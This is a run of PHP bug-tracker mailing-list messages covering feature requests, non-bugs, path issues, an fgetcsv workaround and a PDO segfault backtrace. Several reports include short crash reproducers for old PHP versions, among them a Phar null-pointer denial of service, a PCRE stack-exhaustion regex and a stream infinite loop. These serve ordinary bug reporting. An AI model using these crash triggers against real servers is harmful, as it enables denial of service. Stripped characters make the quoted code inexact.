Req #26411 [Com]: while {} else {}

[sebi at max-vision dot ro]

Edit report at https://bugs.php.net/bug.php?id=26411edit=1

 ID: 26411
 Comment by: sebi at max-vision dot ro
 Reported by:php at bellytime dot com
 Summary:while {} else {}
 Status: Open
 Type:   Feature/Change Request
 Package:Scripting Engine problem
 Operating System:   *
 PHP Version:*
 Block user comment: N
 Private report: N

 New Comment:

I'd love something like this: if there is at least one iteration, even with 
break or continue, don't do else, otherwise, enter the else. 
Another great would be even better, something like 
while(..){..}done{...}else{...}

It could be a new keyword like whileif.

Anyway, even the first proposed structure would be awesome.


Previous Comments:

[2013-02-04 19:56:11] bensor987 at neuf dot fr

We shouldn't use if or else for this. We should use new keywords for this. 
It seems simple to implement, but maybe they don't want this because of 
performance concerns ?


[2013-02-04 09:28:05] kjarli at gmail dot com

I don't really see a problem why not to implement this
?php

while(!true) {
  // do something
} else[if[...]] {
  // nothing to do
}


//Could internally be translated to:

$looped = false;
while(!true) { 
  $looped = true;
  // do something
}

if(!$looped) {
  // nothing to do
}

?


[2012-08-23 17:09:14] bensor987 at neuf dot fr

I would like to go further in that way : iterated. iterated would be parsed 
if there has been at least 1 iteration in the loop.
?php
...
// Usual Case
$array_raw = SomeClass::getAll( $dbconn );
$cnt_raw = count( $array_raw );

$arr_output = array();

for ( $i = 0; $i  $cnt_raw; $i++ ) {
$arr_output[] = $array_raw[$i]-id . ' - ' . $array_raw[$i]-label;
}
if ( $cnt_raw  0 ){
echo some_function( $arr_output );
} else {
echo 'Nothing to display';
}
...
?

?php
...
// Shorter, faster, lighter
$array_raw = SomeClass::getAll( $dbconn );
$cnt_raw = count( $array_raw );

$arr_output = array();

for ( $i = 0; $i  $cnt_raw; $i++ ) {
$arr_output[] = $array_raw[$i]-id . ' - ' . $array_raw[$i]-label;
} iterated {
echo some_function( $arr_output );
} none {
echo 'Nothing to display';
}
...
?


[2012-08-22 17:36:01] bensor987 at neuf dot fr

I understand your opinion. You want to make the else keyword usable only when 
false is encountered, like in if...else. I didn't think about this.

In that case, let's use another keyword, because this syntax is an excellent 
idea.

Why not this ? 

?php
while ($row = mysql_fetch_assoc($result)) {
   print 'Here is a result';
   ...
} none {
   print 'No results found';
}
?


[2012-08-22 17:05:05] ras...@php.net

It's not that simple. Loops are repeatedly evaluated conditions. It isn't clear 
whether adding an else clause would only apply to the first evaluation or also 
subsequent ones.




The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at

https://bugs.php.net/bug.php?id=26411


-- 
Edit this bug report at https://bugs.php.net/bug.php?id=26411edit=1

[PHP-BUG] Bug #62724 [NEW]: isset returns false but array_key_exists returns true (int keys)

[max at kriegt dot es]

From: max at kriegt dot es
Operating system: Debian 6
PHP version:  5.4.5
Package:  Arrays related
Bug Type: Bug
Bug description:isset returns false but array_key_exists returns true (int keys)

Description:

Hi,

recently realized that isset not returning the same result as
array_key_exists 
does for int-Keys.

Test script:
---
?php
$foo = array(null);

var_dump( isset($foo[0]), array_key_exists(0, $foo) );

Expected result:

bool(true)
bool(true)

Actual result:
--
bool(false)
bool(true)

-- 
Edit bug report at https://bugs.php.net/bug.php?id=62724edit=1
-- 
Try a snapshot (PHP 5.4):
https://bugs.php.net/fix.php?id=62724r=trysnapshot54
Try a snapshot (PHP 5.3):
https://bugs.php.net/fix.php?id=62724r=trysnapshot53
Try a snapshot (trunk):  
https://bugs.php.net/fix.php?id=62724r=trysnapshottrunk
Fixed in SVN:
https://bugs.php.net/fix.php?id=62724r=fixed
Fixed in SVN and need be documented: 
https://bugs.php.net/fix.php?id=62724r=needdocs
Fixed in release:
https://bugs.php.net/fix.php?id=62724r=alreadyfixed
Need backtrace:  
https://bugs.php.net/fix.php?id=62724r=needtrace
Need Reproduce Script:   
https://bugs.php.net/fix.php?id=62724r=needscript
Try newer version:   
https://bugs.php.net/fix.php?id=62724r=oldversion
Not developer issue: 
https://bugs.php.net/fix.php?id=62724r=support
Expected behavior:   
https://bugs.php.net/fix.php?id=62724r=notwrong
Not enough info: 
https://bugs.php.net/fix.php?id=62724r=notenoughinfo
Submitted twice: 
https://bugs.php.net/fix.php?id=62724r=submittedtwice
register_globals:
https://bugs.php.net/fix.php?id=62724r=globals
PHP 4 support discontinued:  
https://bugs.php.net/fix.php?id=62724r=php4
Daylight Savings:https://bugs.php.net/fix.php?id=62724r=dst
IIS Stability:   
https://bugs.php.net/fix.php?id=62724r=isapi
Install GNU Sed: 
https://bugs.php.net/fix.php?id=62724r=gnused
Floating point limitations:  
https://bugs.php.net/fix.php?id=62724r=float
No Zend Extensions:  
https://bugs.php.net/fix.php?id=62724r=nozend
MySQL Configuration Error:   
https://bugs.php.net/fix.php?id=62724r=mysqlcfg

Bug #62724 [Nab]: isset returns false but array_key_exists returns true (int keys)

[max at kriegt dot es]

Edit report at https://bugs.php.net/bug.php?id=62724edit=1

 ID: 62724
 User updated by:max at kriegt dot es
 Reported by:max at kriegt dot es
 Summary:isset returns false but array_key_exists returns
 true (int keys)
 Status: Not a bug
 Type:   Bug
 Package:Arrays related
 Operating System:   Debian 6
 PHP Version:5.4.5
 Block user comment: N
 Private report: N

 New Comment:

Hm - misinterpreted the function. :/


Previous Comments:

[2012-08-02 09:46:01] ahar...@php.net

What Keith said. :)


[2012-08-02 09:43:38] keithm at aoeex dot com

This is not a bug.  From the manual page on isset:
Determine if a variable is set and is not NULL.

In your example, $foo[0] is null which is why isset returns false.


[2012-08-02 09:36:54] max at kriegt dot es

Description:

Hi,

recently realized that isset not returning the same result as array_key_exists 
does for int-Keys.

Test script:
---
?php
$foo = array(null);

var_dump( isset($foo[0]), array_key_exists(0, $foo) );

Expected result:

bool(true)
bool(true)

Actual result:
--
bool(false)
bool(true)






-- 
Edit this bug report at https://bugs.php.net/bug.php?id=62724edit=1

Bug #62236 [Fbk-Opn]: Hardcoded path /usr/local/bin/php

[max dot antonoff at gmail dot com]

Edit report at https://bugs.php.net/bug.php?id=62236edit=1

 ID: 62236
 User updated by:max dot antonoff at gmail dot com
 Reported by:max dot antonoff at gmail dot com
 Summary:Hardcoded path /usr/local/bin/php
-Status: Feedback
+Status: Open
 Type:   Bug
 Package:CGI/CLI related
 Operating System:   Linux
-PHP Version:5.4.4RC2
+PHP Version:5.4.4
 Block user comment: N
 Private report: N

 New Comment:

Seems fixed: 

which php; which pear; php -v; php -i |grep configure; pear list-all |grep 
XML_svg2image 

/home/max/local/bin/php
/home/max/local/bin/pear
PHP 5.4.4 (cli) (built: Jun 15 2012 18:47:49) 
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
Configure Command =  './configure'  '--prefix=/home/max/local' '--disable-cgi' 
'--with-pear=/home/max/local/PEAR'
pear/XML_svg2image 0.2.0Converts a svg  
file to a png/jpeg image.


Previous Comments:

[2012-06-15 11:37:29] maar...@php.net

Max, could you please try/test the above hint?


[2012-06-11 12:59:53] Sjon at hortensius dot net

/usr/bin/pear is a simple script that determines which PHP binary to use. It 
should be easy to debug this yourself, I think an incorrect $PHP_PEAR_PHP_BIN 
might cause this for example


[2012-06-05 20:04:05] max dot antonoff at gmail dot com

Description:

max 23:58:24  php-src $ pear list-all
exec: 28: /usr/local/bin/php: not found
max 23:58:15  php-src $ php -v
PHP 5.4.4-RC2 (cli) (built: Jun  5 2012 23:48:00) 
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
max 23:58:29  php-src $ which php ; which pear; php -i |grep configure
/home/max/local/bin/php
/home/max/local/bin/pear
Configure Command =  './configure'  '--prefix=/home/max/local' 
'--enable-proxy' 
'--disable-cgi' '--with-mysqli' '--enable-fpm' '--with-fpm-user=max' '--with-
fpm-group=max' '--with-config-file-path=/home/max/local/etc/php.ini' '--with-
config-file-scan-dir=/home/max/local/etc/php.d' '--enable-sigchild' '--disable-
ipv6' '--with-openssl' '--with-pcre-regex' '--with-zlib' '--enable-bcmath' '--
with-bz2' '--with-curl' '--with-curlwrappers' '--enable-exif' '--enable-ftp' '--
with-gd' '--enable-gd-native-ttf' '--with-mhash' '--enable-mbstring' '--with-
mcrypt' '--with-mysql' '--with-mysql-sock=/var/run/mysqld/mysqld.sock' '--
enable-pcntl' '--with-pdo-mysql' '--enable-shmop' '--enable-soap' '--enable-
sockets' '--enable-sysvmsg' '--enable-sysvsem' '--enable-sysvshm' '--enable-
wddx' '--with-xsl' '--enable-zip' '--enable-mysqlnd' '--with-
pear=/home/max/local/PEAR' '--with-jpeg-dir' '--with-png-dir' '--enable-intl'


Test script:
---
max 23:58:24  php-src $ pear list-all


Expected result:

list of packages

Actual result:
--
exec: 28: /usr/local/bin/php: not found






-- 
Edit this bug report at https://bugs.php.net/bug.php?id=62236edit=1

[PHP-BUG] Bug #62236 [NEW]: Hardcoded path /usr/local/bin/php

[max dot antonoff at gmail dot com]

From: max dot antonoff at gmail dot com
Operating system: Linux
PHP version:  5.4.4RC2
Package:  CGI/CLI related
Bug Type: Bug
Bug description:Hardcoded path /usr/local/bin/php

Description:

max 23:58:24  php-src $ pear list-all
exec: 28: /usr/local/bin/php: not found
max 23:58:15  php-src $ php -v
PHP 5.4.4-RC2 (cli) (built: Jun  5 2012 23:48:00) 
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
max 23:58:29  php-src $ which php ; which pear; php -i |grep configure
/home/max/local/bin/php
/home/max/local/bin/pear
Configure Command =  './configure'  '--prefix=/home/max/local'
'--enable-proxy' 
'--disable-cgi' '--with-mysqli' '--enable-fpm' '--with-fpm-user=max'
'--with-
fpm-group=max' '--with-config-file-path=/home/max/local/etc/php.ini'
'--with-
config-file-scan-dir=/home/max/local/etc/php.d' '--enable-sigchild'
'--disable-
ipv6' '--with-openssl' '--with-pcre-regex' '--with-zlib' '--enable-bcmath'
'--
with-bz2' '--with-curl' '--with-curlwrappers' '--enable-exif'
'--enable-ftp' '--
with-gd' '--enable-gd-native-ttf' '--with-mhash' '--enable-mbstring'
'--with-
mcrypt' '--with-mysql' '--with-mysql-sock=/var/run/mysqld/mysqld.sock' '--
enable-pcntl' '--with-pdo-mysql' '--enable-shmop' '--enable-soap'
'--enable-
sockets' '--enable-sysvmsg' '--enable-sysvsem' '--enable-sysvshm'
'--enable-
wddx' '--with-xsl' '--enable-zip' '--enable-mysqlnd' '--with-
pear=/home/max/local/PEAR' '--with-jpeg-dir' '--with-png-dir'
'--enable-intl'


Test script:
---
max 23:58:24  php-src $ pear list-all


Expected result:

list of packages

Actual result:
--
exec: 28: /usr/local/bin/php: not found

-- 
Edit bug report at https://bugs.php.net/bug.php?id=62236edit=1
-- 
Try a snapshot (PHP 5.4):
https://bugs.php.net/fix.php?id=62236r=trysnapshot54
Try a snapshot (PHP 5.3):
https://bugs.php.net/fix.php?id=62236r=trysnapshot53
Try a snapshot (trunk):  
https://bugs.php.net/fix.php?id=62236r=trysnapshottrunk
Fixed in SVN:
https://bugs.php.net/fix.php?id=62236r=fixed
Fixed in SVN and need be documented: 
https://bugs.php.net/fix.php?id=62236r=needdocs
Fixed in release:
https://bugs.php.net/fix.php?id=62236r=alreadyfixed
Need backtrace:  
https://bugs.php.net/fix.php?id=62236r=needtrace
Need Reproduce Script:   
https://bugs.php.net/fix.php?id=62236r=needscript
Try newer version:   
https://bugs.php.net/fix.php?id=62236r=oldversion
Not developer issue: 
https://bugs.php.net/fix.php?id=62236r=support
Expected behavior:   
https://bugs.php.net/fix.php?id=62236r=notwrong
Not enough info: 
https://bugs.php.net/fix.php?id=62236r=notenoughinfo
Submitted twice: 
https://bugs.php.net/fix.php?id=62236r=submittedtwice
register_globals:
https://bugs.php.net/fix.php?id=62236r=globals
PHP 4 support discontinued:  
https://bugs.php.net/fix.php?id=62236r=php4
Daylight Savings:https://bugs.php.net/fix.php?id=62236r=dst
IIS Stability:   
https://bugs.php.net/fix.php?id=62236r=isapi
Install GNU Sed: 
https://bugs.php.net/fix.php?id=62236r=gnused
Floating point limitations:  
https://bugs.php.net/fix.php?id=62236r=float
No Zend Extensions:  
https://bugs.php.net/fix.php?id=62236r=nozend
MySQL Configuration Error:   
https://bugs.php.net/fix.php?id=62236r=mysqlcfg

[PHP-BUG] Bug #60261 [NEW]: phar dos null pointer

[max at cxib dot net]

From: 
Operating system: linux
PHP version:  5.4.0RC1
Package:  PECL
Bug Type: Bug
Bug description:phar dos null pointer

Description:

?
/*
1213}
1214
1215zend_replace_error_handling(EH_THROW, spl_ce_RuntimeException,
error_handling TSRMLS_CC);
1216
1217#if defined(PHP_WIN32) || HAVE_SYMLINK
1218if (!IS_ABSOLUTE_PATH(intern-file_name, 
intern-file_name_len)) {
=CRASH HERE
1219char expanded_path[MAXPATHLEN];
1220

(gdb) print intern-file_name
$3 = 0x0


where

#define IS_ABSOLUTE_PATH(path, len) \
(len = 2  ((isalpha(path[0])  path[1] == ':') || IS_UNC_PATH(path,
len)))


*/
$nx = new Phar();
$nx-getLinkTarget();
?

Test script:
---
$nx = new Phar();
$nx-getLinkTarget();

or PharData()


-- 
Edit bug report at https://bugs.php.net/bug.php?id=60261edit=1
-- 
Try a snapshot (PHP 5.4):
https://bugs.php.net/fix.php?id=60261r=trysnapshot54
Try a snapshot (PHP 5.3):
https://bugs.php.net/fix.php?id=60261r=trysnapshot53
Try a snapshot (trunk):  
https://bugs.php.net/fix.php?id=60261r=trysnapshottrunk
Fixed in SVN:
https://bugs.php.net/fix.php?id=60261r=fixed
Fixed in SVN and need be documented: 
https://bugs.php.net/fix.php?id=60261r=needdocs
Fixed in release:
https://bugs.php.net/fix.php?id=60261r=alreadyfixed
Need backtrace:  
https://bugs.php.net/fix.php?id=60261r=needtrace
Need Reproduce Script:   
https://bugs.php.net/fix.php?id=60261r=needscript
Try newer version:   
https://bugs.php.net/fix.php?id=60261r=oldversion
Not developer issue: 
https://bugs.php.net/fix.php?id=60261r=support
Expected behavior:   
https://bugs.php.net/fix.php?id=60261r=notwrong
Not enough info: 
https://bugs.php.net/fix.php?id=60261r=notenoughinfo
Submitted twice: 
https://bugs.php.net/fix.php?id=60261r=submittedtwice
register_globals:
https://bugs.php.net/fix.php?id=60261r=globals
PHP 4 support discontinued:  
https://bugs.php.net/fix.php?id=60261r=php4
Daylight Savings:https://bugs.php.net/fix.php?id=60261r=dst
IIS Stability:   
https://bugs.php.net/fix.php?id=60261r=isapi
Install GNU Sed: 
https://bugs.php.net/fix.php?id=60261r=gnused
Floating point limitations:  
https://bugs.php.net/fix.php?id=60261r=float
No Zend Extensions:  
https://bugs.php.net/fix.php?id=60261r=nozend
MySQL Configuration Error:   
https://bugs.php.net/fix.php?id=60261r=mysqlcfg

[PHP-BUG] Bug #60264 [NEW]: stack/memory exhaustion

[max at cxib dot net]

From: 
Operating system: linux
PHP version:  5.4.0RC1
Package:  *Regular Expressions
Bug Type: Bug
Bug description:stack/memory exhaustion

Description:

pcre allow to stack or heap memory exhaustion

stack

cx () cx64:/www$ cat crash0.php
?php
preg_match(/((.*)((!?.*)+)\\w+)/iU,str_repeat( ,4096),$exxx);
?
cx () cx64:/www$ php crash0.php
Segmentation fault





-- 
Edit bug report at https://bugs.php.net/bug.php?id=60264edit=1
-- 
Try a snapshot (PHP 5.4):
https://bugs.php.net/fix.php?id=60264r=trysnapshot54
Try a snapshot (PHP 5.3):
https://bugs.php.net/fix.php?id=60264r=trysnapshot53
Try a snapshot (trunk):  
https://bugs.php.net/fix.php?id=60264r=trysnapshottrunk
Fixed in SVN:
https://bugs.php.net/fix.php?id=60264r=fixed
Fixed in SVN and need be documented: 
https://bugs.php.net/fix.php?id=60264r=needdocs
Fixed in release:
https://bugs.php.net/fix.php?id=60264r=alreadyfixed
Need backtrace:  
https://bugs.php.net/fix.php?id=60264r=needtrace
Need Reproduce Script:   
https://bugs.php.net/fix.php?id=60264r=needscript
Try newer version:   
https://bugs.php.net/fix.php?id=60264r=oldversion
Not developer issue: 
https://bugs.php.net/fix.php?id=60264r=support
Expected behavior:   
https://bugs.php.net/fix.php?id=60264r=notwrong
Not enough info: 
https://bugs.php.net/fix.php?id=60264r=notenoughinfo
Submitted twice: 
https://bugs.php.net/fix.php?id=60264r=submittedtwice
register_globals:
https://bugs.php.net/fix.php?id=60264r=globals
PHP 4 support discontinued:  
https://bugs.php.net/fix.php?id=60264r=php4
Daylight Savings:https://bugs.php.net/fix.php?id=60264r=dst
IIS Stability:   
https://bugs.php.net/fix.php?id=60264r=isapi
Install GNU Sed: 
https://bugs.php.net/fix.php?id=60264r=gnused
Floating point limitations:  
https://bugs.php.net/fix.php?id=60264r=float
No Zend Extensions:  
https://bugs.php.net/fix.php?id=60264r=nozend
MySQL Configuration Error:   
https://bugs.php.net/fix.php?id=60264r=mysqlcfg

Req #51918 [Opn]: Phar::webPhar() does not handle requests sent through PUT and DELETE method

[max dot romanovsky at gmail dot com]

Edit report at https://bugs.php.net/bug.php?id=51918edit=1

 ID: 51918
 User updated by:max dot romanovsky at gmail dot com
 Reported by:max dot romanovsky at gmail dot com
 Summary:Phar::webPhar() does not handle requests sent
 through PUT and DELETE method
 Status: Open
 Type:   Feature/Change Request
 Package:PHAR related
 Operating System:   FreeBSD
 PHP Version:5.3.2
 Block user comment: N
 Private report: N

 New Comment:

But we can't build RESTful application that will be packaged in Phar and 
started 
using Phar::webPhar().
Or there is some other intention to handle only GET and POST methods?


Previous Comments:

[2011-08-29 19:06:53] bj...@php.net

It seems quite intentional. It only supports GET and POST, not PUT, DELETE, 
HEAD, 
...


[2010-05-26 10:40:16] max dot romanovsky at gmail dot com

Description:

Phar::webPhar() does not handle requests sent through PUT and DELETE request 
method.

Test script:
---
PUT /REST/foo HTTP/1.1
host: example.com
Content-Length: 2
12


HTTP/1.1 200 OK
Server: nginx/0.8.36
Date: Tue, 25 May 2010 14:01:42 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.2

0







-- 
Edit this bug report at https://bugs.php.net/bug.php?id=51918edit=1

[PHP-BUG] Bug #55296 [NEW]: wrong use efree(NULL) in intl

[max at cxib dot net]

From: 
Operating system: multiple
PHP version:  5.3.7RC3
Package:  *General Issues
Bug Type: Bug
Bug description:wrong use efree(NULL) in intl

Description:

intl_convert_utf8_to_utf16() is wrong used in a multiple points. Example

165 intl_convert_utf8_to_utf16(uhaystack, uhaystack_len, (char *)
haystack, haystack_len, status );
166
167 if ( U_FAILURE( status ) ) {
168 /* Set global error code. */
169 intl_error_set_code( NULL, status TSRMLS_CC );
170
171 /* Set error messages. */
172 intl_error_set_custom_msg( NULL, Error converting input
string to UTF-16, 0 TSRMLS_CC );
173 efree( uhaystack );
174 return -1;
175 }

efree() call to uhaystack = (efree(NULL)). sometime 'uhaystack' may be
NULL. It's a multiple problem in intl. Then efree() print error



-- 
Edit bug report at https://bugs.php.net/bug.php?id=55296edit=1
-- 
Try a snapshot (PHP 5.4):
https://bugs.php.net/fix.php?id=55296r=trysnapshot54
Try a snapshot (PHP 5.3):
https://bugs.php.net/fix.php?id=55296r=trysnapshot53
Try a snapshot (trunk):  
https://bugs.php.net/fix.php?id=55296r=trysnapshottrunk
Fixed in SVN:
https://bugs.php.net/fix.php?id=55296r=fixed
Fixed in SVN and need be documented: 
https://bugs.php.net/fix.php?id=55296r=needdocs
Fixed in release:
https://bugs.php.net/fix.php?id=55296r=alreadyfixed
Need backtrace:  
https://bugs.php.net/fix.php?id=55296r=needtrace
Need Reproduce Script:   
https://bugs.php.net/fix.php?id=55296r=needscript
Try newer version:   
https://bugs.php.net/fix.php?id=55296r=oldversion
Not developer issue: 
https://bugs.php.net/fix.php?id=55296r=support
Expected behavior:   
https://bugs.php.net/fix.php?id=55296r=notwrong
Not enough info: 
https://bugs.php.net/fix.php?id=55296r=notenoughinfo
Submitted twice: 
https://bugs.php.net/fix.php?id=55296r=submittedtwice
register_globals:
https://bugs.php.net/fix.php?id=55296r=globals
PHP 4 support discontinued:  
https://bugs.php.net/fix.php?id=55296r=php4
Daylight Savings:https://bugs.php.net/fix.php?id=55296r=dst
IIS Stability:   
https://bugs.php.net/fix.php?id=55296r=isapi
Install GNU Sed: 
https://bugs.php.net/fix.php?id=55296r=gnused
Floating point limitations:  
https://bugs.php.net/fix.php?id=55296r=float
No Zend Extensions:  
https://bugs.php.net/fix.php?id=55296r=nozend
MySQL Configuration Error:   
https://bugs.php.net/fix.php?id=55296r=mysqlcfg

Bug #48507 [Com]: fgetcsv() ignoring special characters

[max dot wildgrube at web dot de]

Edit report at https://bugs.php.net/bug.php?id=48507edit=1

 ID: 48507
 Comment by: max dot wildgrube at web dot de
 Reported by:krynble at yahoo dot com dot br
 Summary:fgetcsv() ignoring special characters
 Status: Bogus
 Type:   Bug
 Package:Filesystem function related
 Operating System:   Unix
 PHP Version:5.*
 Block user comment: N
 Private report: N

 New Comment:

The problem does also appears if the special char is preceded by a blank. This 
blank also disappears.

I use this ugly workaround:
1. first reading the complete csv file into a variable: $import
2. $import = preg_replace ({(^|\t)([€-ÿ ])}m, $1~~$2, $import); 
3. after fgetcsv; for each $field of the row array: $field = str_replace ('~~', 
'', $field);

This means: before using fgetcsv inserting a magic sequence (e.g. ~~) on the 
beginning of a field which begins with a blank or a special char; after parsing 
with fgetcsv removing it from each field.

Max.


Previous Comments:

[2011-07-08 08:39:50] php-bug-48507 at bsrealm dot net

This IS a bug. Whatever locale is, I expect this function to read everything 
between delimiter characters without stripping the contents. Besides, docs say 
that files in one-byte encoding would read wrong, and there is a different 
case. This bug causes serious portability issue. In my case, this function was 
used to read custom database that was storing descriptions entered by users. 
Some descriptions were in utf-8 enconding. Function just had to read whatever 
was between delimiter characters and it worked like that on Windows hosting and 
stopped working after moving to Unix hosting. Note, file itself is not utf-8 
encoded and it should not be. It is not related to locale. It must read data, 
even if it's binary, between delimiters.


[2011-02-26 02:46:32] gjorgjioski at gmail dot com

This is short example:

kategorija  širina platišč   število

read:
kategorija
irina platišč
tevilo

expected:
kategorija
širina platišč
Å¡tevilo


[2011-02-26 02:36:32] gjorgjioski at gmail dot com

This bug occurs also when file is in UTF8 (tab delimited file using š,č 
characters). I can provide an example.


[2010-05-19 13:39:52] pahan at hubbitus dot spb dot su

 Quote from the docs:
 Note: Locale setting is taken into account by this function. If LANG is e.g.
 en_US.UTF-8, files in one-byte encoding are read wrong by this function.
Ok, bug documented as are read wrong by this function is better then nothing. 
But do you plan fix this wrong behaviour?


[2010-05-18 11:03:42] m...@php.net

Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php

Quote from the docs:

Note: Locale setting is taken into account by this function. If LANG is e.g. 
en_US.UTF-8, files in one-byte encoding are read wrong by this function.




The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at

https://bugs.php.net/bug.php?id=48507


-- 
Edit this bug report at https://bugs.php.net/bug.php?id=48507edit=1

[PHP-BUG] Req #54946 [NEW]: stream_get_contents infinite loop

[max at cxib dot net]

From: 
Operating system: NetBSD
PHP version:  5.3.6
Package:  Streams related
Bug Type: Feature/Change Request
Bug description:stream_get_contents infinite loop

Description:

#0  0xbb80eb77 in read () from /usr/lib/libc.so.12

#1  0xbb8e0efd in read () from /usr/lib/libpthread.so.0

#2  0x083e7e81 in _php_stream_fopen_from_pipe ()

#3  0x083dff2f in _php_stream_free ()

#4  0x083e00ec in _php_stream_read ()

#5  0x083e1684 in _php_stream_copy_to_mem ()





php_stream_copy_to_mem() generate infinite loop



Test script:
---
?php

$stream=fopen(/tmp/blabla, w); // w or a

stream_get_contents($stream,1,1);

?

Expected result:

string or null

Actual result:
--
infinite loop

-- 
Edit bug report at http://bugs.php.net/bug.php?id=54946edit=1
-- 
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=54946r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=54946r=trysnapshot53
Try a snapshot (trunk):  
http://bugs.php.net/fix.php?id=54946r=trysnapshottrunk
Fixed in SVN:
http://bugs.php.net/fix.php?id=54946r=fixed
Fixed in SVN and need be documented: 
http://bugs.php.net/fix.php?id=54946r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=54946r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=54946r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=54946r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=54946r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=54946r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=54946r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=54946r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=54946r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=54946r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=54946r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=54946r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=54946r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=54946r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=54946r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=54946r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=54946r=mysqlcfg

Bug #53716 [Com]: segfault in $stmt-execute()

[max at axismedia dot ru]

Edit report at http://bugs.php.net/bug.php?id=53716edit=1

 ID: 53716
 Comment by: max at axismedia dot ru
 Reported by:anthon dot pang at gmail dot com
 Summary:segfault in $stmt-execute()
 Status: Open
 Type:   Bug
 Package:PDO related
 Operating System:   Ubuntu 10.04
 PHP Version:5.3.5
 Block user comment: N
 Private report: N

 New Comment:

Looks like I have very similar problem. In short php 5.3 in CLI or Apach
module 

mode, PDO compiled againt mysqlnd crashes when using MySQL native
prepared 

queries with segmentation fault.



EXAMPLE SCRIPT



?php



$driver_options = array(PDO::ATTR_ERRMODE=
PDO::ERRMODE_EXCEPTION,.

PDO::MYSQL_ATTR_INIT_COMMAND = SET NAMES
'UTF8';,

PDO::ATTR_PERSISTENT = true,

PDO::MYSQL_ATTR_DIRECT_QUERY = false);



$sql = 'SELECT NOW()';



$pdo = new PDO('mysql:host=localhost;dbname=m_shop', 'max', null, 

$driver_options);

$st = $pdo-prepare($sql, array(PDO::ATTR_CURSOR =
PDO::CURSOR_FWDONLY));

print before execute\n;

$st-execute();

print after execute\n;

$st-closeCursor();



$pdo = null;



?



Output:



office tmp # php bug.php

before execute

after execute

Segmentation fault (core dumped)



BACKTRACE



(gdb) bt

#0  0xb6acb02d in free () from /lib/libc.so.6

#1  0x082f8208 in _mysqlnd_pefree (ptr=0x0, persistent=1 '\001',
tsrm_ls=0x0) at 

/var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_debug.c:1062

#2  0x082e97c8 in php_mysqlnd_stmt_free_result_bind_pub (s=0x8b56024, 

result_bind=0x8b24a60, tsrm_ls=0x891e280)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:2296

#3  0x082e9856 in mysqlnd_stmt_separate_result_bind (s=0x8b56024,
tsrm_ls=value 

optimized out)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:2029

#4  0x082e98d3 in php_mysqlnd_stmt_free_result_pub (s=0x8b56024, 

tsrm_ls=0x891e280) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:1961

#5  0x081e8e11 in pdo_mysql_stmt_cursor_closer (stmt=0x8b24240, 

tsrm_ls=0x891e280) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/pdo_mysql/mysql_statement.c:906

#6  0x081e4471 in zim_PDOStatement_closeCursor (ht=0,
return_value=0x8b24154, 

return_value_ptr=0x0, this_ptr=0x8b24170, return_value_used=0, 

tsrm_ls=0x891e280)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/pdo/pdo_stmt.c:2141

#7  0x0839edf1 in zend_do_fcall_common_helper_SPEC
(execute_data=0x8b56058, 

tsrm_ls=0x891e280)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/Zend/zend_vm_execute.h:316

#8  0x0839f2f1 in ZEND_DO_FCALL_BY_NAME_SPEC_HANDLER (execute_data=0x1,


tsrm_ls=0x8b24a54) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/Zend/zend_vm_execute.h:421

#9  0x083786a6 in execute (op_array=0x8b23124, tsrm_ls=0x891e280) at 

/var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/Zend/zend_vm_execute.h:107

#10 0x08353317 in zend_execute_scripts (type=8, tsrm_ls=0x891e280,
retval=0x0, 

file_count=3) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/Zend/zend.c:1194

#11 0x082fcee9 in php_execute_script (primary_file=0xbfbfa920, 

tsrm_ls=0x891e280) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/main/main.c:2265

#12 0x083d6fe6 in main (argc=2, argv=0xbfbfaa24) at
/var/tmp/portage/dev-

lang/php-5.3.5/work/sapis-build/cli/sapi/cli/php_cli.c:1193



NOTES



1. If i do not call $st-closeCursor() i still get segmentation fault
but with a 

bit different backtrace (same problem but on php environment shutdown):



#0  0xe424 in __kernel_vsyscall ()

#1  0xb6a4c401 in raise () from /lib/libc.so.6

#2  0xb6a4db42 in abort () from /lib/libc.so.6

